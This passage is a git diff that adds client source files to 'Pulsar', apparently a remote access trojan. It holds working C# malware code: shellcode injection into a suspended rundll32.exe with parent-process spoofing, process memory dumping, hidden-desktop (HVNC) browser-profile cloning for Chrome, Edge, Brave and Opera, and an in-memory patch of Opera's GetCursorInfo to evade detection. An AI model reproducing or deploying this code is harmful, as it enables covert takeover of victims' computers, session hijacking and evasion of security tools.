procInfo.hProcess, + IntPtr.Zero, + 0, + remoteMemory, + IntPtr.Zero, + 0, + out uint shellcodeThreadId); + + if (remoteThread == IntPtr.Zero) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"CreateRemoteThread failed: 0x{error:X8}"); + } + + client.Send(new SetStatus { Message = $"Created shellcode thread (ID: {shellcodeThreadId})" }); + + ResumeThread(procInfo.hThread); + + CloseHandle(remoteThread); + CloseHandle(procInfo.hThread); + CloseHandle(procInfo.hProcess); + + client.Send(new SetStatus { Message = $"Shellcode executed in rundll32.exe (PID: {procInfo.dwProcessId}, Thread: {shellcodeThreadId})" }); + } + catch + { + if (remoteThread != IntPtr.Zero) CloseHandle(remoteThread); + TerminateProcess(procInfo.hProcess, 0); + CloseHandle(procInfo.hThread); + CloseHandle(procInfo.hProcess); + throw; + } + } + + private (uint pid, string directory) GetExplorerPidAndDirectory() + { + Process[] explorerProcesses = Process.GetProcessesByName("explorer"); + if (explorerProcesses.Length > 0) + { + var explorer = explorerProcesses[0]; + string directory; + + try + { + // Try to get the actual working directory of explorer.exe + directory = Path.GetDirectoryName(explorer.MainModule.FileName); + if (string.IsNullOrEmpty(directory)) + { + // Fallback to Windows directory + directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + } + } + catch + { + // Fallback to Windows directory if we can't access the process + directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + } + + return ((uint)explorer.Id, directory); + } + throw new Exception("No explorer.exe process found for PPID spoofing"); + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CreateProcess( + string lpApplicationName, + string lpCommandLine, + IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, + bool bInheritHandles, + ProcessCreationFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + uint dwSize, + AllocationType flAllocationType, + MemoryProtection flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + uint nSize, + ref uint lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr CreateRemoteThread( + IntPtr hProcess, + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr lpParameter, + uint dwCreationFlags, + out uint lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList); + + [StructLayout(LayoutKind.Sequential)] + private struct STARTUPINFO + { + public int cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public uint dwX; + public uint dwY; + public uint dwXSize; + public uint dwYSize; + public uint dwXCountChars; + public uint dwYCountChars; + public uint dwFillAttribute; + public uint dwFlags; + public short wShowWindow; + public short cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + private struct STARTUPINFOEX + { + public STARTUPINFO StartupInfo; + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential)] + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + } + + [Flags] + private enum ProcessCreationFlags : uint + { + CREATE_SUSPENDED = 0x00000004, + CREATE_NO_WINDOW = 0x08000000, + EXTENDED_STARTUPINFO_PRESENT = 0x00080000 + } + + [Flags] + private enum AllocationType : uint + { + COMMIT = 0x1000, + RESERVE = 0x2000 + } + + [Flags] + private enum MemoryProtection : uint + { + EXECUTE_READWRITE = 0x40 + } + + [Flags] + private enum ProcessAccessFlags : uint + { + PROCESS_CREATE_PROCESS = 0x0080, + PROCESS_QUERY_INFORMATION = 0x0400, + PROCESS_VM_READ = 0x0010 + } + + private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; + private const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007; + private const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; + } +} \ No newline at end of file diff --git a/Pulsar.Client/FunStuff/SwapMouseButtons.cs b/Pulsar.Client/FunStuff/SwapMouseButtons.cs new file mode 100644 index 0000000..3ef39e3 --- /dev/null +++ b/Pulsar.Client/FunStuff/SwapMouseButtons.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Client.FunStuff +{ + public class SwapMouseButtons + { + [DllImport("user32.dll")] + public static extern bool SwapMouseButton(bool swap); + + [DllImport("user32.dll")] + public static extern int GetSystemMetrics(int nIndex); + + private const int SM_SWAPBUTTON = 23; + + public static void SwapMouse() + { + bool isSwapped = (GetSystemMetrics(SM_SWAPBUTTON) != 0); + SwapMouseButton(!isSwapped); + } + } +} diff --git a/Pulsar.Client/Helper/.DS_Store b/Pulsar.Client/Helper/.DS_Store new file mode 100644 index 0000000..abe3b09 Binary files /dev/null and b/Pulsar.Client/Helper/.DS_Store differ diff --git a/Pulsar.Client/Helper/DateTimeHelper.cs b/Pulsar.Client/Helper/DateTimeHelper.cs new file mode 100644 index 0000000..fbf5297 --- /dev/null +++ b/Pulsar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +using System; + +namespace Pulsar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Pulsar.Client/Helper/DumpHelper.cs b/Pulsar.Client/Helper/DumpHelper.cs new file mode 100644 index 0000000..6631c2d --- /dev/null +++ b/Pulsar.Client/Helper/DumpHelper.cs @@ -0,0 +1,46 @@ +using Pulsar.Client.Utilities; +using System; +using System.IO; +using System.Diagnostics; + +namespace Pulsar.Client.Helper +{ + public static class DumpHelper + { + /// + /// Dumps a processes memory to a temporary file, then reads the bytes and deletes the file. + /// + /// Process id of the process to dump + /// What kind of memory dump to do + /// + public static (string, bool) GetProcessDump(int pid, NativeMethods.MiniDumpType type = NativeMethods.MiniDumpType.MiniDumpWithFullMemory) + { + Process process = Process.GetProcessById(pid); + string tmpFile = Path.GetTempFileName(); + try + { + bool success = false; + using (FileStream fs = new FileStream(tmpFile, FileMode.Create, FileAccess.Write, FileShare.None)) + { + success = NativeMethods.MiniDumpWriteDump( + process.Handle, + process.Id, + fs.SafeFileHandle.DangerousGetHandle(), + type, + IntPtr.Zero, + IntPtr.Zero, + IntPtr.Zero); + } + if (success) + { + return (tmpFile, true); + } + } + catch (Exception ex) + { + return (ex.ToString(), false); + } + return ("", false); + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/BrowserCloneProgress.cs b/Pulsar.Client/Helper/HVNC/BrowserCloneProgress.cs new file mode 100644 index 0000000..4f0b709 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/BrowserCloneProgress.cs @@ -0,0 +1,65 @@ +using System; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Represents the progress state while cloning a browser profile directory. + /// + internal readonly struct BrowserCloneProgress + { + public BrowserCloneProgress(int filesCopied, int totalFiles, string currentItem, bool isIndeterminate = false) + { + FilesCopied = filesCopied; + TotalFiles = totalFiles; + CurrentItem = currentItem ?? string.Empty; + IsIndeterminate = isIndeterminate; + } + + /// + /// Gets the number of files copied so far. + /// + public int FilesCopied { get; } + + /// + /// Gets the total number of files scheduled for cloning. + /// + public int TotalFiles { get; } + + /// + /// Gets the relative path of the item currently being cloned. + /// + public string CurrentItem { get; } + + /// + /// Indicates whether the operation is currently in an indeterminate state. + /// + public bool IsIndeterminate { get; } + + /// + /// Gets the progress percentage (0-100) when the total file count is known. + /// + public int Percent + { + get + { + if (TotalFiles <= 0) + { + return 0; + } + + double raw = (double)FilesCopied / TotalFiles * 100d; + if (raw < 0d) + { + return 0; + } + + if (raw > 100d) + { + return 100; + } + + return (int)Math.Round(raw); + } + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/BrowserCloneProgressSession.cs b/Pulsar.Client/Helper/HVNC/BrowserCloneProgressSession.cs new file mode 100644 index 0000000..a507a0e --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/BrowserCloneProgressSession.cs @@ -0,0 +1,262 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Manages the small progress form shown when cloning browser profiles so users can observe the operation. + /// + internal sealed class BrowserCloneProgressSession : IDisposable + { + private const string HvncDesktopName = "PulsarDesktop"; + + private readonly CloneProgressForm _form; + private readonly Progress _progress; + private readonly CancellationTokenSource _cts; + private readonly EventHandler _cancelHandler; + private bool _completed; + private bool _disposed; + + private BrowserCloneProgressSession(CloneProgressForm form) + { + _form = form; + _cts = new CancellationTokenSource(); + _cancelHandler = (sender, args) => RequestCancel(); + _form.UserRequestedCancel += _cancelHandler; + _progress = new Progress(state => + { + if (!_form.IsDisposed) + { + _form.UpdateProgress(state); + } + }); + } + + /// + /// Gets a progress reporter that can be used from background threads. + /// + public IProgress Progress => _progress; + + /// + /// Gets a token that is cancelled when the user closes the progress UI. + /// + public CancellationToken CancellationToken => _cts.Token; + + public void ReportPreparing() + { + InvokeOnUi(() => _form.ShowPreparing()); + } + + public Task ReportCompletionAsync(bool wasSuccessful) + { + if (_completed) + { + return Task.CompletedTask; + } + + _completed = true; + + if (_form.IsDisposed) + { + return Task.CompletedTask; + } + + var completionSource = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously); + InvokeOnUi(() => _form.BeginCompleteAnimation(wasSuccessful, () => completionSource.TrySetResult(null))); + return completionSource.Task; + } + + public static Task TryCreateAsync(string browserName) + { + var completion = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously); + + var uiThread = new Thread(() => + { + IntPtr desktopHandle = IntPtr.Zero; + BrowserCloneProgressSession session = null; + + try + { + desktopHandle = DesktopInterop.OpenOrCreate(HvncDesktopName, out int openError); + if (desktopHandle == IntPtr.Zero) + { + Debug.WriteLine($"[BrowserCloneProgressSession] Failed to open or create desktop '{HvncDesktopName}'. Win32 error: {openError}"); + completion.TrySetResult(null); + return; + } + + if (!DesktopInterop.TrySetThreadDesktop(desktopHandle)) + { + int threadError = Marshal.GetLastWin32Error(); + Debug.WriteLine($"[BrowserCloneProgressSession] SetThreadDesktop failed with error {threadError} for desktop '{HvncDesktopName}'."); + completion.TrySetResult(null); + return; + } + + var form = new CloneProgressForm(); + form.Initialize(browserName); + + void HandleCreated(object sender, EventArgs args) + { + form.HandleCreated -= HandleCreated; + + try + { + session = new BrowserCloneProgressSession(form); + completion.TrySetResult(session); + } + catch (Exception ex) + { + Debug.WriteLine($"[BrowserCloneProgressSession] Failed to initialize progress session: {ex.Message}"); + completion.TrySetResult(null); + form.BeginInvoke(new Action(form.Close)); + } + } + + form.HandleCreated += HandleCreated; + form.FormClosed += (_, __) => Application.ExitThread(); + + Application.Run(form); + + if (!completion.Task.IsCompleted) + { + completion.TrySetResult(session); + } + } + catch (Exception ex) + { + Debug.WriteLine($"[BrowserCloneProgressSession] Exception while creating progress UI: {ex.Message}"); + completion.TrySetResult(null); + } + finally + { + DesktopInterop.Release(desktopHandle); + } + }) + { + IsBackground = true, + Name = "Pulsar HVNC Progress UI" + }; + + uiThread.SetApartmentState(ApartmentState.STA); + uiThread.Start(); + + return completion.Task; + } + + public void Dispose() + { + if (_disposed) + { + return; + } + + _disposed = true; + + _form.UserRequestedCancel -= _cancelHandler; + + InvokeOnUi(() => + { + if (!_form.IsDisposed) + { + _form.Close(); + _form.Dispose(); + } + }); + + _cts.Dispose(); + } + + private void RequestCancel() + { + if (_disposed) + { + return; + } + + if (!_cts.IsCancellationRequested) + { + _cts.Cancel(); + } + } + + private void InvokeOnUi(Action action) + { + if (_form.IsDisposed) + { + return; + } + + if (_form.InvokeRequired) + { + try + { + _form.BeginInvoke(action); + } + catch (ObjectDisposedException) + { + // ignored + } + } + else + { + action(); + } + } + + private static class DesktopInterop + { + private const uint DesktopAccessMask = 0x000001FF; + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + public static IntPtr OpenOrCreate(string desktopName, out int lastError) + { + lastError = 0; + + IntPtr handle = OpenDesktop(desktopName, 0, true, DesktopAccessMask); + if (handle != IntPtr.Zero) + { + return handle; + } + + lastError = Marshal.GetLastWin32Error(); + + handle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, DesktopAccessMask, IntPtr.Zero); + if (handle == IntPtr.Zero) + { + lastError = Marshal.GetLastWin32Error(); + } + + return handle; + } + + public static bool TrySetThreadDesktop(IntPtr handle) + { + return handle != IntPtr.Zero && SetThreadDesktop(handle); + } + + public static void Release(IntPtr handle) + { + if (handle != IntPtr.Zero) + { + CloseDesktop(handle); + } + } + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/BrowserConfiguration.cs b/Pulsar.Client/Helper/HVNC/BrowserConfiguration.cs new file mode 100644 index 0000000..15e96f5 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/BrowserConfiguration.cs @@ -0,0 +1,146 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Configuration for browser injection including paths and parameters + /// + public class BrowserConfig + { + public string ExecutablePath { get; set; } + public string SearchPattern { get; set; } + public string ReplacementPath { get; set; } + } + + /// + /// Manages browser configurations for HVNC injection + /// + public static class BrowserConfiguration + { + private static readonly Dictionary BrowserConfigs = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { + "Chrome", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"), + SearchPattern = "Local\\Google\\Chrome\\User Data", + ReplacementPath = "Local\\Google\\Chrome\\KDOT" + } + }, + { + "ChromeX86", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"), + SearchPattern = "Local\\Google\\Chrome\\User Data", + ReplacementPath = "Local\\Google\\Chrome\\KDOT" + } + }, + { + "Edge", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"), + SearchPattern = "Local\\Microsoft\\Edge\\User Data", + ReplacementPath = "Local\\Microsoft\\Edge\\KDOT" + } + }, + { + "Brave", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"), + SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data", + ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT" + } + }, + { + "Opera", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"), + SearchPattern = "Roaming\\Opera Software\\Opera Stable", + ReplacementPath = "Roaming\\Opera Software\\KDOT" + } + }, + { + "OperaGX", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"), + SearchPattern = "Roaming\\Opera Software\\Opera GX Stable", + ReplacementPath = "Roaming\\Opera Software\\KDOT" + } + } + }; + + /// + /// Gets the browser configuration for the specified browser type + /// + /// Type of browser (Chrome, Edge, Brave, etc.) + /// Browser configuration or null if not found + public static BrowserConfig GetConfig(string browserType) + { + if (string.IsNullOrWhiteSpace(browserType)) + return null; + + if (BrowserConfigs.TryGetValue(browserType, out var config)) + { + return config; + } + + return null; + } + + /// + /// Gets the first valid Chrome configuration (checks both64-bit and32-bit) + /// + /// Valid Chrome configuration or null if Chrome is not installed + public static BrowserConfig GetChromeConfig() + { + var chromeConfig = GetConfig("Chrome"); + if (chromeConfig != null) + { + try + { + if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath)) + { + return chromeConfig; + } + } + catch + { + // ignore and continue + } + } + + var chromeX86 = GetConfig("ChromeX86"); + if (chromeX86 != null) + { + try + { + if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath)) + { + return chromeX86; + } + } + catch + { + // ignore + } + } + + return null; + } + + /// + /// Validates if the browser executable exists + /// + /// Browser configuration to validate + /// True if executable exists, false otherwise + public static bool ValidateConfig(BrowserConfig config) + { + if (config == null) + return false; + + return File.Exists(config.ExecutablePath); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/Chromium/OperaPatcher.cs b/Pulsar.Client/Helper/HVNC/Chromium/OperaPatcher.cs new file mode 100644 index 0000000..884e046 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/Chromium/OperaPatcher.cs @@ -0,0 +1,453 @@ +using System; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Pulsar.Client.Helper.HVNC.Chromium +{ + /// + /// Opera memory patcher that patches GetCursorInfo function to always return success + /// This prevents Opera from detecting HVNC environments by bypassing cursor detection + /// + /// Usage: + /// - Automatic: The patcher is automatically called when using ProcessController.StartOpera() or StartOperaGX() + /// - Manual: Call OperaPatcher.PatchOperaProcesses() to patch all running Opera processes + /// - Async: Use OperaPatcher.PatchOperaAsync() for non-blocking patching with retry logic + /// + /// How it works: + /// 1. Finds all running Opera processes with main windows + /// 2. Locates the GetCursorInfo function in user32.dll within each process + /// 3. Patches the function to return 1 (success) immediately using assembly: mov eax, 1; ret + /// 4. This bypasses Opera's cursor detection used to identify HVNC environments + /// + /// The patch is applied in memory and does not modify files on disk. + /// + public class OperaPatcher + { + #region Win32 API Imports + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll")] + private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll")] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint GetLastError(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead); + + [DllImport("psapi.dll", SetLastError = true)] + private static extern bool EnumProcessModules( + IntPtr hProcess, + [Out] IntPtr[] lphModule, + int cb, + out int lpcbNeeded); + + [DllImport("psapi.dll")] + private static extern uint GetModuleFileNameEx( + IntPtr hProcess, + IntPtr hModule, + [Out] StringBuilder lpBaseName, + int nSize); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + #endregion Win32 API Imports + + #region Structs and Constants + + [StructLayout(LayoutKind.Sequential)] + private struct LUID + { + public uint LowPart; + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + public LUID Luid; + public uint Attributes; + } + + private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; + private const uint TOKEN_QUERY = 0x0008; + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; + private const uint PROCESS_ALL_ACCESS = 0x001F0FFF; + private const uint PAGE_EXECUTE_READWRITE = 0x40; + + #endregion Structs and Constants + + /// + /// Patches Opera processes to bypass HVNC detection + /// + /// True if at least one Opera process was successfully patched + public static bool PatchOperaProcesses() + { + bool anyPatched = false; + + try + { + // Find all Opera processes + Process[] operaProcesses = Process.GetProcessesByName("opera") + .Where(p => p.MainWindowHandle != IntPtr.Zero) + .ToArray(); + + if (operaProcesses.Length == 0) + { + Debug.WriteLine("No Opera processes found with main window"); + return false; + } + + foreach (var process in operaProcesses) + { + try + { + Debug.WriteLine($"Attempting to patch Opera process PID: {process.Id}"); + + if (EnableDebugPrivilege(process.Id)) + { + Debug.WriteLine("Debug privilege enabled successfully"); + } + else + { + Debug.WriteLine("Failed to enable debug privilege, continuing anyway"); + } + + if (PatchOperaProcess(process.Id)) + { + Debug.WriteLine($"Successfully patched Opera PID: {process.Id}"); + anyPatched = true; + } + else + { + Debug.WriteLine($"Failed to patch Opera PID: {process.Id}"); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error patching Opera process {process.Id}: {ex.Message}"); + } + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in PatchOperaProcesses: {ex.Message}"); + } + + return anyPatched; + } + + /// + /// Patches a specific Opera process by PID + /// + /// Process ID of the Opera process to patch + /// True if the process was successfully patched + public static bool PatchOperaProcess(int pid) + { + try + { + IntPtr addr = RemoteGetProcAddress(pid, "user32.dll", "GetCursorInfo"); + if (addr == IntPtr.Zero) + { + Debug.WriteLine("Failed to find GetCursorInfo function address"); + return false; + } + + Debug.WriteLine($"GetCursorInfo address: 0x{addr.ToInt64():X}"); + + // Assembly: mov eax, 1; ret (returns 1/TRUE for success) + byte[] patchBytes = new byte[] { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + + IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)pid); + if (handle == IntPtr.Zero) + { + Debug.WriteLine($"Failed to open process. Error: {GetLastError()}"); + return false; + } + + try + { + uint oldProtect = 0; + if (!VirtualProtectEx(handle, addr, (uint)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect)) + { + Debug.WriteLine($"Failed to change memory protection. Error: {GetLastError()}"); + return false; + } + + int bytesWritten = 0; + if (!WriteProcessMemory(handle, addr, patchBytes, patchBytes.Length, ref bytesWritten)) + { + Debug.WriteLine($"Failed to write to process memory. Error: {GetLastError()}"); + return false; + } + + Debug.WriteLine($"Successfully wrote {bytesWritten} bytes"); + + byte[] verifyBuffer = new byte[patchBytes.Length]; + int bytesRead = 0; + if (ReadProcessMemory(handle, addr, verifyBuffer, (uint)verifyBuffer.Length, out bytesRead)) + { + bool patchVerified = bytesRead == patchBytes.Length; + for (int i = 0; i < bytesRead && patchVerified; i++) + { + if (verifyBuffer[i] != patchBytes[i]) + { + patchVerified = false; + } + } + + if (patchVerified) + { + Debug.WriteLine("Patch verified successfully"); + } + else + { + Debug.WriteLine("Patch verification failed"); + } + } + + uint dummy; + VirtualProtectEx(handle, addr, (uint)patchBytes.Length, oldProtect, out dummy); + + return bytesWritten == patchBytes.Length; + } + finally + { + CloseHandle(handle); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in PatchOperaProcess: {ex.Message}"); + return false; + } + } + + /// + /// Gets the remote address of a function in another process + /// + private static IntPtr RemoteGetProcAddress(int processId, string dllName, string functionName) + { + IntPtr processHandle = IntPtr.Zero; + + try + { + processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId); + if (processHandle == IntPtr.Zero) + { + Debug.WriteLine($"Failed to open process with ID {processId}. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + IntPtr localModuleHandle = LoadLibrary(dllName); + if (localModuleHandle == IntPtr.Zero) + { + Debug.WriteLine($"Failed to load local module '{dllName}'. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + IntPtr localFunctionAddress = GetProcAddress(localModuleHandle, functionName); + if (localFunctionAddress == IntPtr.Zero) + { + Debug.WriteLine($"Function '{functionName}' not found in '{dllName}'. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + long offset = localFunctionAddress.ToInt64() - localModuleHandle.ToInt64(); + Debug.WriteLine($"Function offset: 0x{offset:X}"); + + IntPtr remoteModuleBase = GetRemoteModuleHandle(processHandle, dllName); + if (remoteModuleBase == IntPtr.Zero) + { + Debug.WriteLine($"Module '{dllName}' not found in process {processId}"); + return IntPtr.Zero; + } + + IntPtr remoteFunctionAddress = new IntPtr(remoteModuleBase.ToInt64() + offset); + Debug.WriteLine($"Remote function address: 0x{remoteFunctionAddress.ToInt64():X}"); + + return remoteFunctionAddress; + } + catch (Exception ex) + { + Debug.WriteLine($"Error in RemoteGetProcAddress: {ex.Message}"); + return IntPtr.Zero; + } + finally + { + if (processHandle != IntPtr.Zero) + { + CloseHandle(processHandle); + } + } + } + + /// + /// Gets the base address of a module in a remote process + /// + private static IntPtr GetRemoteModuleHandle(IntPtr processHandle, string moduleName) + { + try + { + IntPtr[] moduleHandles = new IntPtr[1024]; + int bytesNeeded; + + if (!EnumProcessModules(processHandle, moduleHandles, Marshal.SizeOf(typeof(IntPtr)) * moduleHandles.Length, out bytesNeeded)) + { + Debug.WriteLine($"Failed to enumerate modules. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + int moduleCount = bytesNeeded / Marshal.SizeOf(typeof(IntPtr)); + StringBuilder moduleNameBuffer = new StringBuilder(256); + + string targetName = moduleName.ToLower(); + + for (int i = 0; i < moduleCount; i++) + { + GetModuleFileNameEx(processHandle, moduleHandles[i], moduleNameBuffer, moduleNameBuffer.Capacity); + string currentModuleName = moduleNameBuffer.ToString(); + + string fileName = System.IO.Path.GetFileName(currentModuleName).ToLower(); + + if (fileName == targetName || fileName == targetName + ".dll") + { + return moduleHandles[i]; + } + } + + return IntPtr.Zero; + } + catch (Exception ex) + { + Debug.WriteLine($"Error in GetRemoteModuleHandle: {ex.Message}"); + return IntPtr.Zero; + } + } + + /// + /// Enables debug privilege for the specified process + /// + private static bool EnableDebugPrivilege(int processId) + { + IntPtr processHandle = IntPtr.Zero; + IntPtr tokenHandle = IntPtr.Zero; + + try + { + processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId); + if (processHandle == IntPtr.Zero) + { + Debug.WriteLine("Failed to open process for debug privilege"); + return false; + } + + if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle)) + { + Debug.WriteLine("Failed to open process token"); + return false; + } + + LUID luid; + if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid)) + { + Debug.WriteLine("Failed to lookup privilege value"); + return false; + } + + TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Luid = luid, + Attributes = SE_PRIVILEGE_ENABLED + }; + + if (!AdjustTokenPrivileges(tokenHandle, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero)) + { + Debug.WriteLine("Failed to adjust token privileges"); + return false; + } + + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"Error in EnableDebugPrivilege: {ex.Message}"); + return false; + } + finally + { + if (tokenHandle != IntPtr.Zero) + CloseHandle(tokenHandle); + if (processHandle != IntPtr.Zero) + 